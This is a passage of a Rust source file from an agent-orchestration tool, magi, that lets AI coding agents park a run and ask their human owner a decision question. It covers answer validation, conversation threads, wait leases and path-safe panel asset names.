Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59pub const SCHEMA: u32 = 5;
60
61/// How often the wait re-reads the question file.
62///
63/// Three seconds: the answer comes from a human on a phone, so the difference
64/// between three seconds and three hundred milliseconds is invisible to them,
65/// while a tight loop would `stat` and parse a file thousands of times per
66/// minute for a wait that routinely lasts hours. Nothing is held between polls -
67/// no lock, no open handle - because `magi web` and `magi answer` write the
68/// same file from other processes.
69const POLL: Duration = Duration::from_secs(3);
70
71/// How long an agent's reply may go unnoticed before it earns its own
72/// notification.
73///
74/// An operator reading the card when the agent replies does not need paging
75/// again for a conversation they are already in; one who walked away still
76/// needs the tap on the shoulder. Five minutes is a judgement call about that
77/// line, not a policy a repository has an opinion about, which is why it lives
78/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
79/// whether they are still looking at the phone, and neither can this build, so
80/// there is nothing for a per-repository setting to be *right* about.
81const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
82
83/// How long the operator's notification command may run before it is killed.
84///
85/// A webhook that hangs must not hang the run. Twenty seconds is long enough
86/// for a slow HTTP round trip and short enough that the operator still gets the
87/// question filed and the run parked in a bounded time.
88const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
89
90/// The longest a single `magi ask` invocation may block on the owner before
91/// it hands the wait back to whatever is running it, rather than to
92/// [`Question::abandon`].
93///
94/// `answer_timeout` defaults to a day, and that is a deadline for the
95/// *question*, not a budget the calling process is free to spend all at
96/// once: an agent CLI's own shell tool kills a command that runs much longer
97/// than this, and the child it kills is `magi ask` itself - the one thing
98/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
99/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
100/// out, and the seat's own summary said it had backgrounded the blocking
101/// `magi ask` and would "continue once the owner replies" - except nothing
102/// was left to notice the reply. The seat exited `completed`, the
103/// backgrounded child died with it, and the owner's eventual answer on the
104/// web UI had nobody left to read it.
105///
106/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
107/// and returns [`Wait::Pending`] if nothing happened, which is not a
108/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
109/// process the tool timeout has never seen. Four minutes leaves a ten-minute
110/// tool budget room for the CLI's own startup and the notification's round
111/// trip, while staying long enough that an owner who answers within the hour
112/// is not making an agent loop through fifteen slices to hear about it.
113const WAIT_SLICE: Duration = Duration::from_secs(240);
114
115/// How long a lease stays believable after its last beat.
116///
117/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
118/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
119/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
120/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
121/// or about to be, and a lease that is merely between two calls must not be
122/// mistaken for that - the daemon waiter would start a second agent on a
123/// conversation the first is still in.
124pub const LEASE_TTL: Duration = Duration::from_secs(90);
125
126/// How long [`Questions::update`]'s lock may be held before it is presumed
127/// left behind by a writer that died.
128const LOCK_STALE: Duration = Duration::from_secs(10);
129
130/// Environment variable naming the base URL of the web UI, for `{url}`.
131///
132/// A run cannot discover this by itself: `magi web` is a different process,
133/// usually started by hand and often on a different machine on the tailnet, and
134/// the address it settled on (Tailscale IP, port, or the fallback it warned
135/// about) exists only in that process. So the operator names it once, in the
136/// environment `magi serve` runs in - `magi web --open` prints exactly the
137/// string to use on stdout. Unset means `{url}` expands to nothing rather than
138/// to a guess: a notification carrying a link to an address nothing is
139/// listening on is worse than one carrying no link at all.
140pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
141
142/// Largest panel magi will store, html plus assets.
143///
144/// Checked as a total, before a single byte is written, because the failure
145/// this prevents is not a full disk but a half-copied panel: an agent that
146/// points at a 200 MB screen recording must get one clean error, not a
147/// directory holding the three small files that fitted before the copy died.
148/// Eight mebibytes is far more than a diff, a table and a handful of images
149/// need, and small enough that a phone on a hotel link still renders it.
150pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
151
152/// Suffix of the directory holding one question's panel.
153///
154/// A sibling of `<id>.json` rather than a subdirectory of the store, so
155/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
156/// see it, and so a panel travels with the question it belongs to.
157const PANEL_DIR: &str = ".panel";
158
159/// The panel's entry point inside its directory.
160const PANEL_HTML: &str = "index.html";
161
162/// Scratch directory a panel is assembled in before it is swapped into place.
163const PANEL_TMP: &str = ".panel.tmp";
164
165/// The one asset filename rule, applied on write **and** on read.
166///
167/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
168/// containing `..`. The pattern is this narrow because the name arrives from
169/// two untrusted directions and is then joined onto a path: an agent naming
170/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
171/// character that could change what the join means is outside the set - `/`
172/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
173/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
174/// refused, which matters because on Windows `Path::join` with an absolute
175/// path *discards the whole prefix* and would serve any file on the disk.
176/// `..` is refused anywhere rather than only at the front so the rule reads
177/// the same as the sentence "no traversal" to anyone auditing it.
178///
179/// The length bound keeps a name inside every filesystem's limit, so a panel
180/// that stores cannot fail to store on the operator's other machine.
181pub fn valid_asset_name(name: &str) -> bool {
182    if name.is_empty() || name.len() > 64 || name.contains("..") {
183        return false;
184    }
185    let mut chars = name.chars();
186    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
187        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
188}
189
190/// Where a question is in its life.
191#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
192#[serde(rename_all = "lowercase")]
193pub enum QuestionStatus {
194    /// Asked, and waiting for the owner. A run is parked behind it.
195    Open,
196    /// The owner decided. [`Question::answer`] holds what they said.
197    Answered,
198    /// Nobody answered in time, or the question outlived the run that asked.
199    /// Kept rather than deleted: what was asked and never answered is the
200    /// evidence that the operator was the bottleneck.
201    Abandoned,
202}
203
204impl QuestionStatus {
205    /// Is a run still parked behind this question?
206    pub fn open(self) -> bool {
207        matches!(self, Self::Open)
208    }
209
210    /// Lowercase name, as it appears on disk and in the API.
211    pub fn as_str(self) -> &'static str {
212        match self {
213            Self::Open => "open",
214            Self::Answered => "answered",
215            Self::Abandoned => "abandoned",
216        }
217    }
218}
219
220/// What the owner said.
221///
222/// Two shapes rather than one string because the question decides which is
223/// admissible, and [`Question::answer`] enforces it. A phone that posts
224/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
225/// front end, and it is caught here rather than handed to an agent as fact.
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
227#[serde(rename_all = "lowercase")]
228pub enum Answer {
229    /// One of the offered choices, verbatim.
230    Choice(String),
231    /// Free text, for a question that offered no choices.
232    Text(String),
233}
234
235/// What the daemon does to the task behind a question when a particular
236/// choice is answered.
237///
238/// A closed set, attached to a choice by the asker (`magi ask --choice X
239/// --action X=resume`) and matched by the choice's exact text. Nothing here
240/// is ever derived from the wording of a label or of a free-text answer: a
241/// question without an action for the chosen label does nothing but answer.
242#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
243#[serde(tag = "do", rename_all = "lowercase")]
244pub enum ChoiceAction {
245    /// Resume this run of the task that owns the question.
246    Resume {
247        /// The run to continue. Must still be the task's latest run.
248        run: String,
249    },
250    /// Requeue the task as a fresh competition.
251    Requeue,
252    /// Close the task as done.
253    Done,
254}
255
256impl ChoiceAction {
257    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
258    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
259    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
260    /// action; whether the label is one of the choices is the caller's check.
261    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
262        let Some((label, verb)) = spec.rsplit_once('=') else {
263            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
264        };
265        let label = label.trim();
266        if label.is_empty() {
267            bail!("`--action {spec}` names no choice before `=`");
268        }
269        let verb = verb.trim();
270        let action = match verb.split_once(':') {
271            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
272                run: run.trim().to_owned(),
273            },
274            None if verb == "resume" => {
275                if default_run.is_empty() {
276                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
277                }
278                Self::Resume {
279                    run: default_run.to_owned(),
280                }
281            }
282            None if verb == "requeue" => Self::Requeue,
283            None if verb == "done" => Self::Done,
284            _ => bail!(
285                "unknown action `{verb}` in `--action {spec}`; \
286                 use resume[:<run>], requeue or done"
287            ),
288        };
289        Ok((label.to_owned(), action))
290    }
291
292    /// Short human wording, for `magi show` and the card.
293    pub fn describe(&self) -> String {
294        match self {
295            Self::Resume { run } => format!("resume run {}", short(run)),
296            Self::Requeue => "requeue the task".to_owned(),
297            Self::Done => "mark the task done".to_owned(),
298        }
299    }
300}
301
302/// Parse every `--action` value against the offered `choices`, refusing a
303/// label the question does not offer (it could never fire).
304pub fn parse_actions(
305    specs: &[String],
306    choices: &[String],
307    default_run: &str,
308) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
309    let mut out = std::collections::BTreeMap::new();
310    for spec in specs {
311        let (label, action) = ChoiceAction::parse(spec, default_run)?;
312        if !choices.contains(&label) {
313            bail!(
314                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
315                choices.join(", ")
316            );
317        }
318        if out.insert(label.clone(), action).is_some() {
319            bail!("more than one --action for `{label}`");
320        }
321    }
322    Ok(out)
323}
324
325/// Who wrote one turn of a question's conversation.
326///
327/// Two values, not three: [`Question::thread`] is the record of a single
328/// question stopping and resuming, and the agent that resumes it is always
329/// the one that asked - a fresh consultant would have to be caught up on
330/// everything the first agent already knows, which is the round trip this
331/// module exists to avoid. The names and the wire spelling deliberately match
332/// [`crate::chat::Who`], which this module does not depend on: the two are the
333/// same idea in two products, and giving them the same shape is what lets the
334/// phone render both with one component.
335#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
336#[serde(rename_all = "lowercase")]
337pub enum Who {
338    /// The person the agent asked.
339    Operator,
340    /// The agent that asked, replying to a question of its own rather than
341    /// answering.
342    Agent,
343}
344
345/// One turn in a question's back-and-forth, after the question itself was
346/// asked.
347///
348/// The question's own `summary`/`detail`/`choices` already carry the agent's
349/// opening move, so a turn only exists from the moment the owner talks back -
350/// [`Question::thread`] starts empty and stays that way for the overwhelming
351/// majority of questions, which are answered on the first read.
352#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
353#[serde(deny_unknown_fields)]
354pub struct Turn {
355    /// Who said it.
356    pub who: Who,
357    /// What they said.
358    pub body: String,
359    /// When they said it.
360    pub at: Timestamp,
361}
362
363/// Who is keeping watch over an open question.
364#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
365#[serde(rename_all = "lowercase")]
366pub enum WaiterKind {
367    /// The `magi ask` process the agent started.
368    Asker,
369    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
370    /// own session because the asker is gone.
371    Daemon,
372    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
373    /// `magi serve` runs for a question the conductor filed, so that something
374    /// which remembers why it was asked is on the other end.
375    Deputy,
376}
377
378/// The follow-up seat a conductor question hands its wait to.
379///
380/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
381/// reply to its question would reach nobody. A deputy is a seat of its own -
382/// keyed `deputy-<question id>`, never the conductor's shared seat - that
383/// inherits what the conductor knew about this one question ([`Deputy::brief`])
384/// and blocks on it with `magi ask --wait`. Persisted on the question so a
385/// restarted daemon resumes the same CLI conversation instead of assuming it.
386///
387/// Written only through [`Questions::update`]: the owner's say and answer land
388/// on the same file.
389#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
390pub struct Deputy {
391    /// Why the question was asked, what each choice leads to: the conductor's
392    /// context for this one question, handed to the deputy in its prompt.
393    pub brief: String,
394    /// The agent that holds the seat. Empty until the first start.
395    #[serde(default)]
396    pub agent: String,
397    /// The deputy's own conversation. `None` until the first start.
398    #[serde(default)]
399    pub seat: Option<crate::agent::SeatState>,
400    /// How many times a deputy turn was started for this question. Never reset
401    /// by a restart, so a deputy that keeps dying is bounded.
402    #[serde(default)]
403    pub starts: u32,
404}
405
406impl Deputy {
407    /// A deputy that has not started yet, holding `brief`.
408    pub fn new(brief: String) -> Self {
409        Self {
410            brief,
411            agent: String::new(),
412            seat: None,
413            starts: 0,
414        }
415    }
416}
417
418/// Seat name of the deputy for question `id`.
419pub fn deputy_seat_key(id: &str) -> String {
420    format!("deputy-{}", short(id))
421}
422
423/// The record's note of who was last known to be waiting.
424///
425/// A note, not a promise: nothing rewrites the question when a holder dies, so
426/// whether it still holds is read from the [`Lease`] beside it.
427#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
428pub struct Waiter {
429    /// Who took the wait.
430    pub kind: WaiterKind,
431    /// When they took it.
432    pub since: Timestamp,
433}
434
435/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
436///
437/// A sidecar rather than a field of the question because a holder beats every
438/// few seconds, and rewriting the question that often would race the phone's
439/// answer and say with lost updates. It is not `*.json`, so
440/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
441/// different things across platforms, while a beat that stopped is evidence on
442/// every one.
443#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
444pub struct Lease {
445    /// Who beat last.
446    pub kind: WaiterKind,
447    /// Their process id, for a human reading the file.
448    pub pid: u32,
449    /// When they beat last.
450    pub beat_at: Timestamp,
451}
452
453impl Lease {
454    /// Was the last beat recent enough to believe the holder is still there?
455    pub fn fresh(&self, now: Timestamp) -> bool {
456        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
457    }
458}
459
460/// One decision magi will not take on the owner's behalf.
461#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
462#[serde(deny_unknown_fields)]
463pub struct Question {
464    /// On-disk format version.
465    pub schema: u32,
466    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
467    /// task's, so the operator can paste any of them at any prefix argument.
468    pub id: String,
469    /// Run that is parked behind this question.
470    pub run: String,
471    /// Graph node the asking agent was working in, e.g. `implement`.
472    pub node: String,
473    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
474    /// this" decides whether the answer unblocks one candidate or all of them.
475    pub seat: String,
476    /// One line: the question itself. This is what a notification carries and
477    /// what the phone shows above the answer controls.
478    pub summary: String,
479    /// The reasoning behind the question, as markdown. May be long, may be
480    /// empty. Rendered as text nodes by the UI, never as markup.
481    pub detail: String,
482    /// The admissible answers. **Empty means free text** - that one condition
483    /// is the whole difference between the two kinds of question, on disk, in
484    /// the UI, and in [`Question::answer`]'s validation.
485    pub choices: Vec<String>,
486    /// What the daemon does when a given choice is answered, keyed by the
487    /// choice's exact text. Empty for an ordinary question. A key is always
488    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
489    #[serde(default)]
490    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
491    /// Does this question have an agent-authored HTML panel beside it?
492    ///
493    /// Serialised with a default so a question written by an older magi - or
494    /// by hand - still deserialises rather than failing the whole store, which
495    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
496    /// open question the operator was looking for.
497    #[serde(default)]
498    pub panel: bool,
499    /// Files copied in beside the panel's html, by base name, sorted.
500    ///
501    /// The list exists so a reader knows what a panel is made of without
502    /// walking the directory, and every entry satisfies [`valid_asset_name`].
503    /// Sorted because it is compared - a question re-asked with the same
504    /// assets in a different argument order is not a different question.
505    #[serde(default)]
506    pub assets: Vec<String>,
507    /// Current state.
508    pub status: QuestionStatus,
509    /// When the agent asked.
510    pub asked_at: Timestamp,
511    /// When the owner answered, if they did.
512    pub answered_at: Option<Timestamp>,
513    /// What they said.
514    pub answer: Option<Answer>,
515    /// Everything said after the question itself, oldest first: the owner
516    /// asking back, the agent replying, as many times as it takes before an
517    /// [`Answer`] lands.
518    ///
519    /// `#[serde(default)]` so a question written before this field existed -
520    /// every question on disk before this build - still deserialises as one
521    /// with no conversation yet, rather than failing [`Questions::list`]'s
522    /// read and quietly hiding an open question from the operator.
523    #[serde(default)]
524    pub thread: Vec<Turn>,
525    /// The `answer_timeout`, in seconds, that was in force when this question
526    /// was first asked. `0` means unrecorded - a question written before this
527    /// field existed, or one filed by a flow (land's merge-approval gate)
528    /// that never sets it because it never resumes a sliced wait.
529    ///
530    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
531    /// or the config default) is decided by the caller, after the question
532    /// already exists - so it starts at `0` here and whoever files a fresh
533    /// question sets it once, the same way [`Question::panel`] is set by
534    /// [`Questions::put_panel`] rather than by the constructor. It is never
535    /// touched again: `magi ask --wait` reads it as the one deadline it is
536    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
537    /// on a later call can never quietly extend or shrink the budget the
538    /// question was actually asked with.
539    #[serde(default)]
540    pub answer_timeout: u64,
541    /// The directory the asking agent was working in when it asked, so the
542    /// daemon waiter can resume that agent's session from where it stood.
543    /// `None` for a question no `magi ask` filed (land's approval gate, a
544    /// release notice, one written before this field existed): those have no
545    /// agent to hand anything back to, and the waiter leaves them alone.
546    #[serde(default)]
547    pub cwd: Option<String>,
548    /// Who was last known to be waiting - see [`Waiter`].
549    #[serde(default)]
550    pub waiter: Option<Waiter>,
551    /// How many entries of [`Question::thread`] the agent has been shown, by
552    /// the asking process printing them or by the waiter resuming the seat.
553    /// The owner's turn at an index at or past this has reached nobody yet.
554    #[serde(default)]
555    pub delivered_turns: usize,
556    /// Has the agent been told the [`Answer`]? The asker prints it as it
557    /// returns; the waiter delivers it when the asker was gone.
558    #[serde(default)]
559    pub answer_delivered: bool,
560    /// The follow-up seat waiting on this question, for a question the
561    /// conductor filed. `None` for every other question.
562    #[serde(default)]
563    pub deputy: Option<Deputy>,
564}
565
566impl Question {
567    /// Ask something. Persist it with [`Questions::put`], or hand it to
568    /// [`ask_and_wait`], which files it and waits.
569    pub fn new(
570        run: String,
571        node: String,
572        seat: String,
573        summary: String,
574        detail: String,
575        choices: Vec<String>,
576    ) -> Self {
577        Self {
578            schema: SCHEMA,
579            id: new_id(),
580            run,
581            node,
582            seat,
583            summary,
584            detail,
585            choices,
586            actions: std::collections::BTreeMap::new(),
587            panel: false,
588            assets: Vec::new(),
589            status: QuestionStatus::Open,
590            asked_at: Timestamp::now(),
591            answered_at: None,
592            answer: None,
593            thread: Vec::new(),
594            answer_timeout: 0,
595            cwd: None,
596            waiter: None,
597            delivered_turns: 0,
598            answer_delivered: false,
599            deputy: None,
600        }
601    }
602
603    /// Short form used in reports and on the phone, matching a run's short id.
604    pub fn short(&self) -> &str {
605        short(&self.id)
606    }
607
608    /// The action attached to the choice that was answered, if the question
609    /// is answered with a choice that carries one. Free text never matches.
610    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
611        match (&self.status, &self.answer) {
612            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
613            _ => None,
614        }
615    }
616
617    /// Does this question want free text rather than one of a set?
618    pub fn free_text(&self) -> bool {
619        self.choices.is_empty()
620    }
621
622    /// Record an answer. Rejects a choice the question does not offer, free
623    /// text on a multiple-choice question, an empty answer, and a second
624    /// answer.
625    ///
626    /// Every rejection here is a case where accepting would put a fabrication
627    /// in front of an agent as if the owner had said it. The messages are
628    /// distinct because the caller is a web handler that shows them verbatim,
629    /// and "that is not one of the choices" and "this question is multiple
630    /// choice" are different mistakes with different fixes.
631    pub fn answer(&mut self, answer: Answer) -> Result<()> {
632        match self.status {
633            QuestionStatus::Answered => bail!(
634                "question {} was already answered; the run has moved on and a \
635                 second answer would be a decision nobody acted on",
636                self.short()
637            ),
638            QuestionStatus::Abandoned => bail!(
639                "question {} was abandoned and the run behind it is gone",
640                self.short()
641            ),
642            QuestionStatus::Open => {}
643        }
644        let body = match &answer {
645            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
646        };
647        if body.trim().is_empty() {
648            bail!(
649                "question {} needs an answer; an empty one tells the agent \
650                 nothing and it would guess anyway",
651                self.short()
652            );
653        }
654        match &answer {
655            Answer::Choice(c) if self.free_text() => bail!(
656                "question {} asks for free text, so `{c}` cannot be a choice \
657                 it offered",
658                self.short()
659            ),
660            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
661                "`{c}` is not one of the choices question {} offers: {}",
662                self.short(),
663                self.choices.join(", ")
664            ),
665            Answer::Text(_) if !self.free_text() => bail!(
666                "question {} is multiple choice; answer with one of: {}",
667                self.short(),
668                self.choices.join(", ")
669            ),
670            _ => {}
671        }
672        self.answered_at = Some(Timestamp::now());
673        self.answer = Some(answer);
674        self.status = QuestionStatus::Answered;
675        Ok(())
676    }
677
678    /// Give up on an answer, keeping the record of what was asked.
679    ///
680    /// An answered question is left alone, which matters at exactly one moment:
681    /// the owner answering in the same second the wait's deadline passes. The
682    /// answer is the thing worth keeping there, and it has already been written
683    /// by another process.
684    ///
685    /// The reason is appended to [`Question::detail`] because the on-disk shape
686    /// is a contract with the front end and has no field of its own for it -
687    /// and "asked at 3am, nobody home for a day" belongs with the question, not
688    /// only in a log the operator will never open.
689    pub fn abandon(&mut self, why: impl Into<String>) {
690        if !self.status.open() {
691            return;
692        }
693        self.status = QuestionStatus::Abandoned;
694        let why = why.into();
695        let why = why.trim();
696        if why.is_empty() {
697            return;
698        }
699        if !self.detail.is_empty() {
700            self.detail.push('\n');
701        }
702        self.detail.push_str("\n_Abandoned: ");
703        self.detail.push_str(why);
704        self.detail.push_str("._\n");
705    }
706
707    /// The answer as the asking agent should read it.
708    ///
709    /// One string for both kinds of question: the agent's prompt says "the
710    /// owner answered:", and a chosen option and a typed sentence are the same
711    /// thing at that point. `None` while the question is open or abandoned, so
712    /// a caller cannot mistake silence for a decision.
713    pub fn resolution(&self) -> Option<String> {
714        match (self.status, &self.answer) {
715            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
716                Some(a.clone())
717            }
718            _ => None,
719        }
720    }
721
722    /// A deputy recording that the owner's own words settled the question.
723    ///
724    /// The owner decided in free text ("setup done") on a question that offers
725    /// choices, so no choice was ever tapped. This records `label` as the
726    /// answer - and nothing else: applying it is the daemon's existing path
727    /// for an answered conductor question. Refused unless the caller is this
728    /// question's deputy seat, `label` is one of the offered choices, and
729    /// `quote` appears verbatim in something the owner said; the quote is
730    /// kept in the thread as an agent turn so the record shows what the
731    /// decision rests on.
732    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, quote: &str) -> Result<()> {
733        let Some(deputy) = &self.deputy else {
734            bail!("question {} has no deputy", self.short());
735        };
736        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
737        if own != Some(seat) {
738            bail!("only the deputy of question {} may settle it", self.short());
739        }
740        if !self.choices.iter().any(|c| c == label) {
741            bail!(
742                "`{label}` is not one of the choices offered on question {}",
743                self.short()
744            );
745        }
746        let quote = quote.trim();
747        if quote.is_empty()
748            || !self
749                .thread
750                .iter()
751                .any(|t| t.who == Who::Operator && t.body.contains(quote))
752        {
753            bail!(
754                "the quote is not something the owner said on question {}",
755                self.short()
756            );
757        }
758        self.thread.push(Turn {
759            who: Who::Agent,
760            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
761            at: Timestamp::now(),
762        });
763        self.delivered_turns = self.thread.len();
764        self.answer(Answer::Choice(label.to_owned()))
765    }
766
767    /// The owner speaking back without answering: a request for context, a
768    /// clarifying question, anything short of a decision.
769    ///
770    /// Rejects the same two states [`Question::answer`] does, and for the same
771    /// reason - a question with a recorded [`Answer`] or an abandoned one has
772    /// no run left listening for a reply - and an empty turn, which would tell
773    /// the agent nothing it didn't already know. Never changes `status`: the
774    /// question stays [`QuestionStatus::Open`], because the owner did not
775    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
776    /// counting this as the one question it always was.
777    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
778        match self.status {
779            QuestionStatus::Answered => bail!(
780                "question {} was already answered; there is nothing left to \
781                 discuss",
782                self.short()
783            ),
784            QuestionStatus::Abandoned => bail!(
785                "question {} was abandoned and the run behind it is gone",
786                self.short()
787            ),
788            QuestionStatus::Open => {}
789        }
790        let body = body.into();
791        if body.trim().is_empty() {
792            bail!("a message to question {} cannot be empty", self.short());
793        }
794        self.thread.push(Turn {
795            who: Who::Operator,
796            body,
797            at: Timestamp::now(),
798        });
799        Ok(())
800    }
801
802    /// The agent replying to the owner's last word, in place of an answer:
803    /// same question, same id, another round.
804    ///
805    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
806    /// on the same reasoning [`Questions::put_panel`] replaces a panel
807    /// wholesale: the whole point of asking back is that what should be
808    /// offered next may have changed, and a caller that wanted the old set
809    /// unchanged can simply pass it again. An empty `Vec` means free text,
810    /// exactly as it does when the question is first asked.
811    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
812        match self.status {
813            QuestionStatus::Answered => bail!(
814                "question {} was already answered; replying now would not \
815                 reach anyone",
816                self.short()
817            ),
818            QuestionStatus::Abandoned => bail!(
819                "question {} was abandoned and the run behind it is gone",
820                self.short()
821            ),
822            QuestionStatus::Open => {}
823        }
824        let body = body.into();
825        if body.trim().is_empty() {
826            bail!("a reply to question {} cannot be empty", self.short());
827        }
828        // An action whose label is no longer offered could never fire.
829        self.actions.retain(|label, _| choices.contains(label));
830        self.choices = choices;
831        let unread = self.unread_from_owner().is_some();
832        self.thread.push(Turn {
833            who: Who::Agent,
834            body,
835            at: Timestamp::now(),
836        });
837        // The agent has read everything up to its own reply - but only if
838        // nothing the owner said in the meantime is still unread. A second say
839        // that landed after the agent's last look must stay undelivered.
840        if !unread {
841            self.delivered_turns = self.thread.len();
842        }
843        Ok(())
844    }
845
846    /// What the owner said that the agent has not read yet, oldest first,
847    /// joined. `None` unless the question is open and such a turn exists.
848    ///
849    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
850    /// second owner turn it never saw, which leaves the last turn the agent's
851    /// and the ball apparently back with the owner while a say is still unread.
852    pub fn unread_from_owner(&self) -> Option<String> {
853        if !self.status.open() {
854            return None;
855        }
856        let said = self.undelivered_owner_turns();
857        (!said.is_empty()).then(|| said.join("\n\n"))
858    }
859
860    /// Owner turns the agent has not been handed yet, oldest first, whatever
861    /// the question's status. [`Question::unread_from_owner`] adds the "still
862    /// open" guard the waiter and the deputy rely on; an answer being handed
863    /// over needs the says that came before it even though the question is
864    /// closed by then.
865    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
866        let from = self.delivered_turns.min(self.thread.len());
867        self.thread[from..]
868            .iter()
869            .filter(|t| t.who == Who::Operator)
870            .map(|t| t.body.as_str())
871            .collect()
872    }
873
874    /// When the conversation last moved: the newest thread turn, or the asking
875    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
876    /// every reply, so a deadline runs from here and not from `asked_at`.
877    pub fn last_activity(&self) -> i64 {
878        self.thread
879            .iter()
880            .map(|t| t.at.as_second())
881            .max()
882            .unwrap_or(0)
883            .max(self.asked_at.as_second())
884    }
885
886    /// Is the ball in the agent's court?
887    ///
888    /// True from the moment the owner speaks back until the agent's next
889    /// [`Question::reply`], and never on a fresh or an already-settled
890    /// question. [`QuestionStatus`] does not move for either side of this -
891    /// see [`Question::say`] - so this is the one place that state is
892    /// readable at all, which is why [`crate::web::QuestionView`] carries it
